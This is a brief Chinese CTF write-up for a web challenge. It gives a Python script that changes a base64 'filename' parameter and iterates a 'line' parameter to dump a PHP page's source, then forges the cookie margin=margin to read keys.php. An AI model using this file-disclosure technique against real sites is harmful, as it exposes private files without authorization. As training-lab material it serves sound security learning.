看到url上的引數有base64，解碼發現是keys.txt 
把改引數換成index.php，觀察發現line按行返回 
所以自己練練手寫了個指令碼跑出來

#!/usr/bin/env python
# -*- coding: utf-8 -*-



import requests
s=requests.Session()
url='http://120.24.86.145:8002/web11/index.php'
for i in range(1,20):
    payload={'line':str(i),'filename':'aW5kZXgucGhw'}
    a=s.get(url,params=payload).content
    content=str(a,encoding="utf-8"
 
)
    print(content)

• 1
• 2
• 3
• 4
• 5
• 6
• 7
• 8
• 9
• 10
• 11
• 12
• 13
• 14
• 15

獲得原始碼

error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1'
 
 =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

• 1
• 2
• 3
• 4
• 5
• 6
• 7
• 8
• 9
• 10
• 11
• 12
• 13
• 14
• 15
• 16
• 17
• 18
• 19

構造cookie margin=margin 然後讀keys.php即可